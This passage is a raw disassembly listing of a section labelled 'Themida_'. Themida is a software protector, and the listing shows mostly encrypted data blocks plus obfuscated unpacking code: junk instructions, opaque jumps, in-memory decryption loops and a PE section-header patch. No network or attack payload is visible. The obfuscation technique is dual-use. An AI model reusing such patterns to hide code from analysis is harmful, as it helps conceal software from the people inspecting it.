0F3C0CB53h dd 0D4156586h, 0C73469Ah, 564C393Dh, 0DBA4B132h, 56D5B127h dd 56EAA1DBh, 10604532h, 0D8DDD40h, 436AE704h, 80E59095h dd 15D53C33h, 36ADAA4Eh, 56D5BADAh, 2C84AB32h, 0FDE81643h dd 7D333DD5h, 7DE5E9C7h, 37E16F90h, 5A17063Dh, 0BF733ACBh dd 56D5B13Ah, 95307ECAh, 2CEE85A1h, 56A95860h, 9C89B132h dd 9B39FAC2h, 999487BCh, 33ABA8CDh, 4FBDD4CBh, 59DBBED9h dd 5675BCBCh, 56B25832h, 6227B132h, 0E2EFC52h, 590D4956h dd 56ABB0BDh, 95D64432h, 56E6313Dh, 0D67AB132h, 56BAB134h dd 565D3C3Dh, 0D427B132h, 5042A74Bh, 56AA3D3Dh, 3720B132h dd 56FF313Dh, 469CB132h, 0D3BAB132h, 0EFA8FACCh, 49C2AB0Eh dd 0A75FBB10h, 0C348A685h ; --------------------------------------------------------------------------- cmc ; =============== S U B R O U T I N E ======================================= sub_5E6279 proc near ; CODE XREF: Themida_:005E6406p ; DATA XREF: Themida_:0057BFBCo push ecx jmp loc_5E628B ; --------------------------------------------------------------------------- add eax, 0A0A5EE41h aas loc_5E6285: ; CODE XREF: sub_5E6279+2Aj mov edx, 0F914460Fh xchg eax, esi loc_5E628B: ; CODE XREF: sub_5E6279+1j push edx cmc call $+5 pop edx sub edx, 61BC863h pusha jmp loc_5E62A9 ; --------------------------------------------------------------------------- db 0BCh ; --------------------------------------------------------------------------- shr dword ptr [edi+50h], 1 js short loc_5E6285 xor [esi], dh xchg eax, esi loc_5E62A9: ; CODE XREF: sub_5E6279+21j mov si, dx popa jge loc_5E62BF jmp loc_5E62BF ; --------------------------------------------------------------------------- fild qword ptr [esi+2599E87Ch] das loc_5E62BF: ; CODE XREF: sub_5E6279+34j ; sub_5E6279+3Aj pusha mov ecx, 5888790Ah jmp loc_5E62DB ; --------------------------------------------------------------------------- test al, 31h sbb eax, 2DBE5474h mov cl, 59h mov edx, [esi] mov esi, [ebp-0F380CEFh] loc_5E62DB: ; CODE XREF: sub_5E6279+4Cj popa push edx pusha xor si, 97D3h mov dx, 0E85Eh popa mov eax, [edx+6151679h] jmp loc_5E6300 ; --------------------------------------------------------------------------- db 8Ah dd 193BACE5h, 0CB2B9FD4h, 0ECA5251h ; --------------------------------------------------------------------------- loc_5E6300: ; CODE XREF: sub_5E6279+75j mov ecx, 41C64E6Dh stc mul ecx jnb loc_5E6311 pusha stc popa loc_5E6311: ; CODE XREF: sub_5E6279+8Fj pop edx clc add eax, 3039h pusha movzx edx, si js loc_5E6325 movzx eax, bx loc_5E6325: ; CODE XREF: sub_5E6279+A3j popa and eax, 7FFFFFFFh jmp loc_5E6336 ; --------------------------------------------------------------------------- dd 0EF18B2BDh db 4Eh, 0A9h ; --------------------------------------------------------------------------- loc_5E6336: ; CODE XREF: sub_5E6279+B2j mov [edx+6151679h], eax jmp loc_5E6350 ; --------------------------------------------------------------------------- push ebx db 64h push ebp pop edi dec ebp adc eax, 0B018ADE5h dec esi movsb stc xchg dh, ch loc_5E6350: ; CODE XREF: sub_5E6279+C3j pop edx jg loc_5E635E jo loc_5E635E cld loc_5E635E: ; CODE XREF: sub_5E6279+D8j ; sub_5E6279+DEj pop ecx pusha jbe $+6 mov dx, cx popa retn sub_5E6279 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jge loc_5E6372 stc loc_5E6372: ; CODE XREF: Themida_:005E636Bj ; DATA XREF: Themida_:0057BCD8o push ecx cmc push edx jns loc_5E6382 pusha mov bx, cx mov bl, 8Ch popa loc_5E6382: ; CODE XREF: Themida_:005E6375j jno loc_5E6394 jb loc_5E6394 jle $+6 loc_5E6394: ; CODE XREF: Themida_:loc_5E6382j ; Themida_:005E6388j call $+5 pop edx sub edx, 61BC96Ah cmc pusha mov esi, eax push esi add cx, 3D81h pop edi popa pusha mov si, cx pusha clc jmp loc_5E63C4 ; --------------------------------------------------------------------------- db 0B3h dd 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh ; --------------------------------------------------------------------------- loc_5E63C4: ; CODE XREF: Themida_:005E63B2j popa popa mov ecx, eax pusha jmp loc_5E63E2 ; --------------------------------------------------------------------------- dw 5197h dd 89E31D86h, 0F652A5D0h, 0EDDBB575h, 0E301FB96h db 0CDh, 82h ; --------------------------------------------------------------------------- loc_5E63E2: ; CODE XREF: Themida_:005E63C9j mov cx, 1CB9h popa pusha jmp loc_5E6401 ; --------------------------------------------------------------------------- db 0DDh, 4Ch, 74h dd 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h db 0EDh ; --------------------------------------------------------------------------- loc_5E6401: ; CODE XREF: Themida_:005E63E8j mov dx, 0DA7Eh popa call sub_5E6279 clc xor edx, edx jmp loc_5E6427 ; --------------------------------------------------------------------------- clc fild dword ptr [esi] sar dword ptr [edx], 43h retn 0B908h ; --------------------------------------------------------------------------- dd 11F86549h, 0CE0B5038h db 3Ch, 0A1h, 1Ch ; --------------------------------------------------------------------------- loc_5E6427: ; CODE XREF: Themida_:005E640Ej div ecx pusha js loc_5E6431 cld loc_5E6431: ; CODE XREF: Themida_:005E642Aj ; Themida_:loc_5E645Bj jnb loc_5E6439 push ebx pop edi loc_5E6439: ; CODE XREF: Themida_:loc_5E6431j popa jmp loc_5E644F ; --------------------------------------------------------------------------- db 23h dd 2266B130h, 0EA812ECBh, 0CEA08E4Fh db 8Bh, 0Dh, 0F0h ; --------------------------------------------------------------------------- loc_5E644F: ; CODE XREF: Themida_:005E643Aj mov eax, edx cld jmp loc_5E6469 ; --------------------------------------------------------------------------- db 93h db 0EEh, 0C7h, 5 ; --------------------------------------------------------------------------- loc_5E645B: ; CODE XREF: Themida_:005E6489j jno short near ptr loc_5E6431+4 scasb out 19h, eax fadd dword ptr [esi-61h] insd ; --------------------------------------------------------------------------- dd 7EF19121h ; --------------------------------------------------------------------------- dec ecx loc_5E6469: ; CODE XREF: Themida_:005E6452j pop edx pusha jmp loc_5E6476 ; --------------------------------------------------------------------------- dd 5841E9Fh db 50h, 3Eh ; --------------------------------------------------------------------------- loc_5E6476: ; CODE XREF: Themida_:005E646Bj jb loc_5E6491 call sub_5E6490 xchg ebp, [eax] xor [esi+edx*8], cl or al, 0BCh scasb jecxz short loc_5E645B mov edi, 0E380FE38h ; =============== S U B R O U T I N E ======================================= sub_5E6490 proc near ; CODE XREF: Themida_:005E647Cp pop eax loc_5E6491: ; CODE XREF: Themida_:loc_5E6476j popa pop ecx stc retn sub_5E6490 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh, 8Eh, 1Ch dd 0F000000h, 168Ah, 11E900h, 3FBD0000h, 0DBDDBCF1h, 8C81F875h dd 5C492EE3h, 8B982B1Eh, 860F60C0h, 2, 8B61D3B4h, 0C8E0FC0h dd 0F000000h, 68Bh, 8D0F00h, 0F5000000h, 91F4858Dh, 8160061Bh dd 0AD6170D1h, 0EE844h, 77300000h, 72936124h, 0EBF27677h dd 0B3BA5B0Bh, 0D0FF615Ah, 7890Fh, 8D0F0000h, 1, 0C18B66F5h dd 78E0Fh, 820F0000h, 1, 4A858DFCh, 0F5061BC8h, 258D8589h dd 8DFC0615h, 1BC94385h, 8589F806h, 61522A9h, 0F8BF0F60h dd 9DF9C681h, 0B8617606h, 0 ; --------------------------------------------------------------------------- stc jge loc_5E656C pusha jmp loc_5E6560 ; --------------------------------------------------------------------------- db 0C0h, 0E6h, 31h dd 2B1CCC13h, 4C36A1D6h, 0A01FFA87h ; --------------------------------------------------------------------------- loc_5E6560: ; CODE XREF: Themida_:005E654Cj call near ptr loc_5E6565+5 loc_5E6565: ; CODE XREF: Themida_:loc_5E6560p sar dword ptr [ebx+5E3BE387h], cl popa loc_5E656C: ; CODE XREF: Themida_:005E6545j or eax, eax jz loc_5E66D4 cld mov byte ptr [ebp+61509C5h], 56h jnb loc_5E658A jo loc_5E658A pusha popa loc_5E658A: ; CODE XREF: Themida_:005E657Cj ; Themida_:005E6582j push 0A9C530DFh jmp loc_5E659B ; --------------------------------------------------------------------------- imul edi, [edx+ebp], 0DA9F3DF6h loc_5E659B: ; CODE XREF: Themida_:005E658Fj push dword ptr [ebp+6152811h] stc lea eax, [ebp+61872BCh] jnz loc_5E65C0 jmp loc_5E65C0 ; --------------------------------------------------------------------------- db 0C8h dd 22F4F229h, 200F4401h, 19812F37h ; --------------------------------------------------------------------------- loc_5E65C0: ; CODE XREF: Themida_:005E65A8j ; Themida_:005E65AEj cld call eax jz loc_5E65E5 jnz loc_5E65E5 jmp loc_5E65E5 ; --------------------------------------------------------------------------- dd 0AC58F826h, 0DAF21F3Ch, 0FF377088h, 73757CF1h db 15h ; --------------------------------------------------------------------------- loc_5E65E5: ; CODE XREF: Themida_:005E65C3j ; Themida_:005E65C9j ... push eax pusha push edi add al, 2Fh pop eax mov ecx, ebx popa lea ecx, [ebp+6152839h] pusha jnp loc_5E6601 and bx, 0D208h loc_5E6601: ; CODE XREF: Themida_:005E65F6j mov edi, esi popa push ecx jmp loc_5E661E ; --------------------------------------------------------------------------- rcr dword ptr [eax+6533CC58h], cl retf 0AA07h ; --------------------------------------------------------------------------- db 7Eh dd 0F20ECF4Ch, 7127BC53h db 0CAh, 0EBh ; --------------------------------------------------------------------------- loc_5E661E: ; CODE XREF: Themida_:005E6605j push 4 jnb loc_5E6627 clc loc_5E6627: ; CODE XREF: Themida_:005E6620j push 1000h jmp loc_5E663A ; --------------------------------------------------------------------------- db 0DFh, 30h, 3Dh dd 65D6C7E9h db 7Fh, 0Eh ; --------------------------------------------------------------------------- loc_5E663A: ; CODE XREF: Themida_:005E662Cj push dword ptr [ebp+6150031h] jnp loc_5E665F jb loc_5E665F jmp loc_5E665F ; --------------------------------------------------------------------------- bswap edi or ebp, [edi] adc eax, 0C19834Fh dec ecx mov dl, 4Ch retn ; --------------------------------------------------------------------------- popf loc_5E665F: ; CODE XREF: Themida_:005E6640j ; Themida_:005E6646j ... jnz loc_5E6672 jmp loc_5E6672 ; --------------------------------------------------------------------------- dw 0C03h dd 6DC96EBBh db 0DBh, 65h ; --------------------------------------------------------------------------- loc_5E6672: ; CODE XREF: Themida_:loc_5E665Fj ; Themida_:005E6665j call eax pusha call sub_5E667F dec ecx sahf pop esp in eax, 0Eh ; DMA controller, 8237A-5. ; Clear mask registers. ; Any OUT enables all 4 channels. ; =============== S U B R O U T I N E ======================================= sub_5E667F proc near ; CODE XREF: Themida_:005E6675p add ch, 6Ah pop ebx mov ax, bx popa mov edi, [ebp+6150031h] cmc jl loc_5E66AE pusha mov bx, 0E424h jmp loc_5E66AD ; --------------------------------------------------------------------------- dw 39DDh dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h db 0F3h ; --------------------------------------------------------------------------- loc_5E66AD: ; CODE XREF: sub_5E667F+1Aj popa loc_5E66AE: ; CODE XREF: sub_5E667F+Fj add edi, [edi+3Ch] pusha add bx, 0AB11h mov dl, ch popa add edi, 0F8h clc mov dword ptr [edi+24h], 60000020h jmp loc_5E66D4 ; --------------------------------------------------------------------------- db 25h, 4Ah, 9 dd 71ECC27Fh ; --------------------------------------------------------------------------- loc_5E66D4: ; CODE XREF: Themida_:005E656Ej ; sub_5E667F+49j lea ebx, [ebp+6150FFDh] jmp loc_5E66E7 ; --------------------------------------------------------------------------- db 0E0h dd 0A8EA7025h db 0AFh, 39h, 0A5h ; --------------------------------------------------------------------------- loc_5E66E7: ; CODE XREF: sub_5E667F+5Bj jns loc_5E66EE cld loc_5E66EE: ; CODE XREF: sub_5E667F:loc_5E66E7j mov eax, [ebx] jmp loc_5E66FA ; --------------------------------------------------------------------------- db 73h, 0B6h, 0EDh db 83h, 77h ; --------------------------------------------------------------------------- loc_5E66FA: ; CODE XREF: sub_5E667F+71j or eax, eax jz loc_5E6741 pusha push ecx mov esi, 3B9916B1h pop ecx jmp loc_5E671A ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- sub ss:[ecx+19E5F9E5h], bl dec esi mov bl, 1Dh loc_5E671A: ; CODE XREF: sub_5E667F+8Bj popa mov eax, [eax] js loc_5E672C pusha mov esi, edx add dx, 0CD33h popa loc_5E672C: ; CODE XREF: sub_5E667F+9Ej mov [ebx+4], eax jmp loc_5E6741 ; --------------------------------------------------------------------------- dd 0E5653445h, 196237FDh, 0AD3650CDh ; --------------------------------------------------------------------------- stosd loc_5E6741: ; CODE XREF: sub_5E667F+7Dj ; sub_5E667F+B0j mov ecx, 234CF6h call near ptr loc_5E674F+1 pop esi scasb lea eax, [esi] loc_5E674F: ; CODE XREF: sub_5E667F+C7p adc esi, [ecx-7E99A049h] sub_5E667F endp ; sp-analysis failed loope near ptr loc_5E67AE+4 pusha add edi, 7045h mov cx, 92BBh mov edx, 1BF7h mov si, bx ; START OF FUNCTION CHUNK FOR sub_5E67A0 loc_5E676A: ; CODE XREF: sub_5E67A0:loc_5E67AEj mov eax, [edi] push edi mov ecx, 356EB39Eh pop ebx add eax, 1A12CF79h mov bh, 41h xor eax, 1134A4Eh xor eax, 116DB0D3h mov ebx, 23327830h push eax mov ecx, eax pop dword ptr [edi] call sub_5E67A0 aam 0BBh setalc mov cl, 0ACh db 67h push es xchg eax, ebp mov cl, 51h ; END OF FUNCTION CHUNK FOR sub_5E67A0 ; =============== S U B R O U T I N E ======================================= sub_5E67A0 proc near ; CODE XREF: sub_5E67A0-Fp ; FUNCTION CHUNK AT 005E676A SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005E67D5 SIZE 00000024 BYTES cld pop esi sub edi, 4 loc_5E67A5: ; CODE XREF: sub_5E67A0+28j push edx push esi pusha popa pop esi pop ecx sub edx, 1 loc_5E67AE: ; CODE XREF: Themida_:005E6755j jnz loc_5E676A mov bx, 640h call near ptr loc_5E67CB+2 push ebp sbb al, 42h dec ebp pop edx mov ch, [edi+33h] ; CODE XREF: sub_5E67A0+57j push ds jo short loc_5E67D5 ja short loc_5E67A5 daa loc_5E67CB: ; CODE XREF: sub_5E67A0+18p db 26h loope near ptr loc_5E67DA+3 sub_5E67A0 endp ; sp-analysis failed xchg al, ds:0B8000000h leave ; START OF FUNCTION CHUNK FOR sub_5E67A0 loc_5E67D5: ; CODE XREF: sub_5E67A0+26j sbb bl, ah jnz short loc_5E6832 cmc loc_5E67DA: ; CODE XREF: sub_5E67A0:loc_5E67CBj add ecx, 6D82h call near ptr sub_5E67F9 push ebx dec ebx call near ptr 1B6F958Ah xor ecx, [edx] aas add dword ptr fs:[eax-5Bh], 4104BC42h jg short near ptr loc_5E67C2+1 ; END OF FUNCTION CHUNK FOR sub_5E67A0 ; =============== S U B R O U T I N E ======================================= sub_5E67F9 proc far ; CODE XREF: sub_5E67A0+40p arg_0 = dword ptr 4 arg_1E8 = dword ptr 1ECh pop eax push 0 mov si, 1754h pop edx push edx pop esi loc_5E6806: ; CODE XREF: sub_5E67F9+A7j mov ebx, [ecx+edx] pusha stc mov dx, 9F73h popa xor ebx, 3CAC2EA2h xor ebx, 2017944Bh jmp loc_5E6828 ; --------------------------------------------------------------------------- db 59h, 0F6h, 62h ; --------------------------------------------------------------------------- and ch, [edi-65h] xchg eax, edi loc_5E6828: ; CODE XREF: sub_5E67F9+23j xor ebx, 554F6359h mov si, 0BF78h loc_5E6832: ; CODE XREF: sub_5E67A0+37j push ebx pusha js loc_5E683D mov dx, bx loc_5E683D: ; CODE XREF: sub_5E67F9+3Bj popa pop dword ptr [ecx+edx] jg loc_5E6850 jl loc_5E6850 sub al, 0A2h loc_5E6850: ; CODE XREF: sub_5E67F9+48j ; sub_5E67F9+4Ej mov esi, 58274E41h sub edx, 4 mov al, 0E5h cmp edx, 0FFFF9370h jnz loc_5E689C pusha jge loc_5E686F mov dl, 5Ch loc_5E686F: ; CODE XREF: sub_5E67F9+6Ej jp loc_5E688C jmp loc_5E688C ; --------------------------------------------------------------------------- dw 0D778h ; --------------------------------------------------------------------------- stc xchg eax, ecx sub [ecx+79h], ebp and [ecx+6Dh], dh adc ebp, eax xchg eax, esi enter 0FFFFFDF7h, 81h loc_5E688C: ; CODE XREF: sub_5E67F9:loc_5E686Fj ; sub_5E67F9+7Cj popa jmp loc_5E68B3 ; --------------------------------------------------------------------------- dw 0E6D1h dd 76B79A30h, 0AC741532h ; --------------------------------------------------------------------------- loc_5E689C: ; CODE XREF: sub_5E67F9+67j mov di, 0D535h jmp loc_5E6806 ; --------------------------------------------------------------------------- db 13h, 0B4h, 2Ah dd 0EAB696DEh, 0E91143Eh db 5Ch, 35h, 0EAh ; --------------------------------------------------------------------------- loc_5E68B3: ; CODE XREF: sub_5E67F9+94j jmp loc_5E68DB ; --------------------------------------------------------------------------- dd 46FF5581h dword_5E68BC dd 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5E68DB: ; CODE XREF: sub_5E67F9:loc_5E68B3j jmp loc_5E7378 ; --------------------------------------------------------------------------- push 61BD011h jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD12Dh jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD2A0h jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD3B2h jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD52Fh jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD6D8h jmp loc_58E30C ; --------------------------------------------------------------------------- push 61BD7C7h jmp loc_58E30C ; --------------------------------------------------------------------------- dw 987Dh dd 3018E3E5h, 96907B4Dh, 321AE5E7h, 9C8E794Bh, 5A50EFE1h dd 0D1B3CAC0h, 4C3C4126h, 0D1B3CAC1h, 4E3E3F26h, 0C0DDD9D6h dd 0DCA72310h, 9F861969h, 432AC7DEh, 43FD4A3Ah, 4BF7F7F4h dd 6BB353E7h, 9ABBA7BEh, 28A729D6h, 8B263F3Eh, 0CC3DAA3h dd 0D9DE12A2h, 4049C55Dh, 0B86BECEFh, 25h, 1D6CC40Ah, 0E20A300Eh dd 9FCAB353h, 0DB791C06h, 7C6FA729h, 0CEA4D9D1h, 0CFD854E0h dd 276BECF7h, 0DFh, 0DE9F8699h, 35482AC7h, 0D7A6A12Ch dd 0BCC1AD58h, 51FCEB76h, 0D67F2657h, 83FAF5A0h, 27071401h dd 0AD3EDE6Ah, 0CD37FF2Ah, 0AD3EE35Ah, 14740904h, 0F0FF7E69h dd 960F6E65h, 231097DFh, 0DA673610h, 0CE61AD3Eh, 0A1D96346h dd 0F83EEB34h, 61CE1D9Bh, 5330B965h, 2B24B1B3h, 0E7A24B52h dd 69B67C01h, 0C583D0C0h, 0AB6AD490h, 0A428F5A7h, 0E0522BA5h dd 0AE3DF43Dh, 651810BDh, 0FBFC2F0Dh, 7198AD40h, 9CE1D382h dd 126B612Ch, 6E8BC3Eh, 0B559D0FAh, 88Ch, 0C5C7B697h, 0A527563Ah dd 789F4DAh, 9BED907Ch, 183FAF0h, 0F8DA34A2h, 8F780385h dd 0F39EEEh, 85800B7Dh, 130098F8h, 230E6633h, 0CF3F36A7h dd 0B393A486h, 0AD3EDEE6h, 0D2AB9FB6h, 224B22CBh, 0A9F0D7A2h dd 0ECA5BCC1h, 0C4F54345h, 300E1D6Ch, 0B353E20Ah, 7EFFE796h dd 1F082EE7h, 135A2306h, 3A896714h, 71F90406h, 0E991ECE4h dd 0E4E2D1BEh, 0A7292CB5h, 2FC32E7h, 0A7292C4Fh, 9851D99h dd 6BEC4880h, 0DA78h, 9F864A00h, 482AC7DEh, 0CD522C35h dd 79AD3EE3h, 0F29DEF8Eh, 8CDB82FBh, 456AFF34h, 0EF66A8F7h dd 0BCBAA946h, 0AD3ED79Dh, 0FB8266FFh, 0AC82AB62h, 0EB933F3Fh dd 5603B353h, 38452CD9h, 0F4A18E02h, 0DEAB83FAh, 0FE392F62h dd 29CA5100h, 5F1643A7h, 866C1916h, 48611C13h, 18C1E891h dd 31F5D162h, 6DAD4172h, 0AC9E2FBCh, 0C45162D1h, 0FFB6AFCEh dd 3C2B5603h, 0D272ADh, 11F8A665h, 7E662356h, 87AF66FFh dd 0E7967C07h, 6AB9371h, 0F69811FAh, 770h, 0C9BBC2B3h dd 51334A3Eh, 0CBBDC0A6h, 57394440h, 0D5B7C6ACh, 0A4866056h dd 230CF7D9h, 0AC9F6A5Ah, 1914FFD1h, 0BFAC6464h, 230D92BFh dd 3B9302A7h, 1B679724h, 0F29548h, 60391B3Ah, 0E68F1667h dd 5B523D8Fh, 8614A222h, 6716FA9Fh, 0C7DE973Eh, 4A3A432Ah dd 0F7F443FDh, 53F283F7h, 6FF623B3h, 3292EBE2h, 2A6D58E5h dd 2C7B1174h, 0A4CAA3B5h, 0B39BFEE9h, 20FAA3CAh, 2E6F218Eh dd 0EF079B19h, 0D76685F8h, 0E1E58DF0h, 574E2F16h, 0D2BA4B58h dd 1C024FABh, 0E7922BEBh, 0B1B8C5AAh, 82D43208h, 0EA2BEB1Bh dd 0C5C0D84Ch, 3ACBD8B8h, 1C614653h, 776E1D55h, 0CF835F06h dd 1D2BEB1Bh, 95204934h, 0D5C6DF9Eh, 0E09DD161h, 3F263EB6h dd 0CCC34E3Eh, 88F5DA6Bh, 92A2DF7Eh, 0E58CBD2Eh, 82D16FBCh dd 0AD618965h, 144534A7h, 5AA907B4h, 0D655F1CDh, 0D8813A9Ah dd 0C3A5F5D1h, 26452E92h, 0BECBB297h, 1B8B1CCh, 2BA73B39h dd 0F355DC5Eh, 68F28E3Dh, 0E363F0BDh, 7B2F74A4h, 6EC42E49h dd 382DAh, 1182EC00h, 0FCEB3AF6h, 53E81402h, 0F2D980B3h dd 85D4B2C1h, 17A729D5h, 9F320C62h, 612838A7h, 889B98E7h dd 0CEC9BFBh, 8FE79DAAh, 38B7F5B5h, 0F178A12Ch, 58D726A2h dd 48EAF75Eh, 0C7641532h, 5E2E4F36h, 5BC1BCB3h, 7D12DBAFh dd 0FDC66821h, 26000005h, 0AD583845h, 2DD8B8C5h, 0BF4A3A43h dd 2BD6B6C7h, 0D5543449h, 56270DE7h, 0D7A68B76h, 56270AF5h dd 0D9A48B76h, 54321FF7h, 0A7230D05h, 0C4B01E97h, 0CE4C376Ch dd 602C6945h, 0C168AD3Eh, 0B4EBB992h, 0EA906E7Dh, 0AAB35376h dd 0F9E3707Fh, 7A80AEC9h, 87223DF5h, 0BD4EDDA0h, 0DAA1620Ch dd 0E27DB5E0h, 0D7B1412Dh, 0E1D0A59h, 7F38A7Fh, 0A729554Ah dd 0DA571F4Ah, 3E69E6DCh, 1641D2ADh, 4CD88B85h, 7BAE77BFh dd 0F6877E09h, 7FD3806Fh, 0A5C0106Ah, 0EFD675BDh, 987A178Eh dd 3931BCE5h, 16801D44h, 0ED896A9Eh, 0B725D75h, 441D6AB9h dd 7CD97201h, 0EB000002h, 0CAB39924h, 0F48927A4h, 3EDE5BFAh dd 691039ADh, 0AD36ECCAh, 0C376B35Ah, 4A243724h, 0A723110Bh dd 6C11FC89h, 0DCA188C5h, 27660CC5h, 0ABB3845h, 0AE225825h dd 0C0A8F1E3h, 44EDA4BDh, 42BA14A7h, 6036E5F1h, 0F73F3E35h dd 0A7C29670h, 210CA723h, 600F85Ch, 57C03E0h, 4EB61h, 2A533800h dd 0C2BBAF5Ah, 2C5137C2h, 0C8B5B15Ch, 26573DC8h, 779107A6h dd 1DE8E895h, 0BC474934h, 5D28A8D5h, 0E1B90B72h, 0B4B0AE4h dd 5C49A723h, 1D6CC4E6h, 0ACEA300Eh, 0C576B35Ah, 0F997ED1Ah dd 89D69CA9h, 412CC9E0h, 0C6C14C3Ch, 2C23AEB7h, 0D2BD5851h dd 3017B2ABh, 0D05E544Dh, 27CF3064h, 0D1ACA3BBh, 28755162h dd 74A72365h, 0DC95E8E1h, 65226F4Fh, 0C772A723h, 77101F6Fh dd 7F6BE680h, 19Bh, 0DE9F8651h, 3A432AC7h, 0F443FD4Ah dd 0E74BF7F7h, 0BE6BB353h, 331DA8A7h, 771A244Ah, 71A729D6h dd 98F16D05h, 606BECEEh, 67h, 4A972472h, 31E16798h, 13AD1E54h dd 0B9427C4h, 112AA057h, 0E66B2867h, 8F823280h, 0D66C4AE7h dd 16B353BFh, 0D837C463h, 60A0D901h, 5302FCEBh, 41A729D5h dd 5B476218h, 0A729D63Ah, 0C5DCA188h, 273E3F28h, 63970B75h dd 0BBAE5F4Ch, 72026CC2h, 0F3F14BF8h, 9CABD2B8h, 571F0362h dd 0EC52CFD8h, 0B3276Bh, 86990000h, 0C8C7DE9Fh, 8025693Bh dd 0C66FF687h, 786DFD89h, 0DCA193C2h, 403D28C5h, 96A18C29h dd 3ECEF998h, 0C76E9BADh, 0E7B29D28h, 48F17805h, 6B4549F1h dd 0AD3ED3F8h, 0B2126B62h, 0CF5CAB05h, 5672A9EFh, 0F8F6EDB3h dd 0A7272259h, 50B7BF67h, 0FD6695ABh, 7706254Ch, 1DE8E895h dd 10D24637h, 94FC13BAh, 36E49DDh, 0C0B50000h, 4840CBBDh dd 0BEA85335h, 4A42CDBFh, 0C4A65133h, 6258D7B9h, 0E9DBA288h dd 7454291Eh, 0E9DBA289h, 7656271Eh, 88D5B19Eh, 14A72309h dd 372431A1h, 3EDF1A37h, 0BFBEA8ADh, 0CE7DB564h, 0ACD1BDDCh dd 5335FCB5h, 0D0C0BDA8h, 0DE9F8682h, 16BBC251h, 27A3F2CCh dd 48F1AD3Eh, 6ABD030Bh, 15109DC4h, 0AF38CB68h, 8E6D3402h dd 11BE1268h, 38CB68B7h, 2365B27Eh, 4BE88E6Ch, 53CCC36Bh dd 0B936E3B3h, 455C210Ch, 7805018Ch, 9CBBA7C2h, 0D0A729C7h dd 3CF4CE66h, 0E600FEEDh, 0CEAD3ED1h, 869B299Bh, 0C8C7DE9Fh dd 0AFEEC8DBh, 0EDAD3EDEh, 0DE93C23Ch, 3D2FAD3Eh, 0FC32E740h dd 0A5275651h, 0E251A018h, 324B44D1h, 52AC822Bh, 0B353E7F4h dd 5F1E1520h, 0BFE68F46h, 29D6B2E3h, 2CB836A7h, 0ECEED7B0h dd 0B011C26Bh, 0AC80C5A7h, 200B3BF3h, 0BD000000h, 0E1D6CC4h dd 53E20A30h, 69FCAB3h, 29DB791Ch, 73FF6FA7h, 0ECF7B2F7h dd 0DB466Bh, 86780000h, 2AC7DE9Fh, 0A5B63548h, 3EDE8CC9h dd 196108ADh, 392A18Eh, 0C988720Bh, 0CBAD3EDEh, 0D2BDD89Eh dd 0DECC8965h, 0A1C8AD3Eh, 0DEE5B492h, 82B7AD3Eh, 3017B2ABh dd 382FDE4Dh, 9F99ED45h, 0AD3EE3BCh, 4B3219A4h, 7D6823h dd 0C99260F3h, 0A9E1EE09h, 1B12FDD1h, 5F4C3B62h, 3E5C325Fh dd 0E59890ADh, 1F4A15BCh, 6FBE7A57h, 5E748680h, 0F920B353h dd 3F8E2A97h, 888D6B0h, 6514AD41h, 425537C6h, 0A0AC295h dd 0DAAA83AFh, 0DC403D2Fh, 0FA069610h, 0C5790D84h, 5E000001h dd 0D5C0106Dh, 6530A0DDh, 0C7B2126Bh, 632E9EDFh, 0FDBC0C71h dd 0FE7F758Fh, 6F0E038Eh, 0FE7F721Dh dd 710C038Eh, 0AC8A871Fh, 0A72308EDh, 8648B6AFh, 0AAF7D9A4h dd 0BE7EE919h, 97DF75E6h, 1C6C11FCh, 373724AEh, 0AD3EDF1Ah dd 2AA7CF7Ah, 0D6B03F8Eh, 0B353E230h, 9F2EBD6Ch, 20D9D0ADh dd 22734F5Ah, 0C6A729DCh, 3142BC28h, 29DC0855h, 0A8E594A7h dd 7978BEBFh, 6BECF830h, 0A7F2DA6Bh, 0EA73BAC3h, 0A05BEB43h dd 6D000000h, 13FA9F86h, 0F33AF36Ah, 8EC847F4h, 1BB57049h dd 0CBC14C53h, 4CCFABB2h, 0F6AD3E3Dh, 0D8A58A0Fh, 69642FA1h dd 823E8D14h, 16A7B433h, 0A0BD4934h, 0FCAD3E3Ch, 2A04254Dh dd 0B3533F08h, 9E2B9DCCh, 5A54D322h, 0AD40E6DDh, 485136C7h dd 2258215Ch, 66171445h, 0EC97F984h, 0DDA17706h, 2FFA06C9h dd 0D6D072h, 684D0000h, 0E0C8B315h, 66602B9Dh, 0E2CAB517h dd 6C5E299Bh, 8A00BF11h, 81037A70h, 1C6C11F6h, 81037A71h dd 1E6E0FF6h, 0F0AD8986h, 0ACA72307h, 0A48649B9h, 210CF7D9h dd 86DE6C5Ch, 0C8C7DE9Fh, 0DEBEDBDBh, 2BDEAD3Eh, 8D911E1Ch dd 6DC5C0D2h, 3696E7DEh, 53E02F89h, 5A00AB73h, 0B13EEBB3h dd 29512C24h, 0B04917Eh, 7C03522Ch, 0E891A723h, 0C3AAE991h dd 483FCABAh, 5302FCEFh, 41A7237Bh, 7B6F2E18h, 0FDF9A723h dd 0A7237B60h, 27520D3Ch, 656B574Eh, 54E80808h, 3B324ADAh dd 0D0B74242h, 0EFCA8767h, 9FCA663Eh, 4A42CFD6h, 66852A33h dd 0EFDC7975h, 91B8663Eh, 0EA730A04h, 0F181EB43h, 3D8FEED9h dd 5225B52h, 260C8D78h, 51581E57h, 3BDh, 66B41300h, 0D1D8A586h dd 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h, 332A5339h dd 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 58545004h, 405h dd 4E88300h, 5C240487h, 3AD68h, 24348900h, 20DA68h, 24048900h dd 4B3104BEh, 0FFC68343h, 0F26CE81h, 0C6813926h, 8AAC8FD0h dd 24048B54h, 6804C483h, 22BDh, 81243489h, 71022434h, 408F36A3h dd 8708108h, 36A37102h ; --------------------------------------------------------------------------- mov eax, [esp-1ECh+arg_1E8] push ebp mov ebp, esp add ebp, 